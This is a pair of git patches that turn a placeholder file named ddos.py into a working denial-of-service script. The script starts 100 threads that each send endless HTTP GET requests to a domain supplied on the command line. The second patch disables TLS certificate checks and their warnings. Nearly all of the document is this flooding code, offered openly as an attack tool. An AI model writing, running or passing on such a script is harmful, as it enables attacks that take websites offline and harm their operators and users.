From 900a3307d6dfca5c773d0f95469ad9f5a358e694 Mon Sep 17 00:00:00 2001 From: FonderElite Date: Sat, 26 Jun 2021 16:38:13 +0000 Subject: [PATCH 1/2] Update ddos.py --- scripts/ddos.py | 35 ++++++++++++++++++++++++++++++++++- 1 file changed, 34 insertions(+), 1 deletion(-) diff --git a/scripts/ddos.py b/scripts/ddos.py index 806d4a0..8832334 100644 --- a/scripts/ddos.py +++ b/scripts/ddos.py @@ -1 +1,34 @@ -#DDOS ATTACK HAAHAAHHA +import threading,requests,argparse,time,socket +parser = argparse.ArgumentParser() +parser.add_argument('-d','--domain',metavar='',help='Domain to send request') +args = parser.parse_args() +class Request(threading.Thread): + def __init__(self,domain): + threading.Thread.__init__(self) + self.domain = domain + def request(self): + try: + while True: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect(("8.8.8.8", 53)) + req_func = lambda req: requests.get(req) + req = req_func(self.domain) + if req.status_code == 200 or req.status_code != 400: + print(f"[{req.status_code}]Request->{self.domain}") + elif req.status_code >= 400: + print(f"[{req.status_code}]Failed Request->{self.domain}") + elif s != "None": + print("No Internet Connection.") + except Exception as Err: + print(Err) + +if __name__ == '__main__': + threads = [] + for i in range(100): + thread_class = Request(args.domain) + thread_request = threading.Thread(target=thread_class.request) + thread_request.daemon = True + threads.append(thread_request) + for i in range(100): + threads[i].start() + for i in range(100): + threads[i].join() From 736c034b35df29fc236f3af6585eaf540c808ba1 Mon Sep 17 00:00:00 2001 From: FonderElite Date: Sat, 26 Jun 2021 17:04:48 +0000 Subject: [PATCH 2/2] Update ddos.py --- scripts/ddos.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/scripts/ddos.py b/scripts/ddos.py index 8832334..21b90c8 100644 --- a/scripts/ddos.py +++ b/scripts/ddos.py @@ -1,4 +1,4 @@ -import threading,requests,argparse,time,socket +import threading,requests,argparse,time,socket,urllib3 parser = argparse.ArgumentParser() parser.add_argument('-d','--domain',metavar='',help='Domain to send request') args = parser.parse_args() @@ -10,7 +10,9 @@ def request(self): try: while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect(("8.8.8.8", 53)) - req_func = lambda req: requests.get(req) + req_func = lambda req: requests.get(req,verify=False) + urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + req = req_func(self.domain) if req.status_code == 200 or req.status_code != 400: print(f"[{req.status_code}]Request->{self.domain}")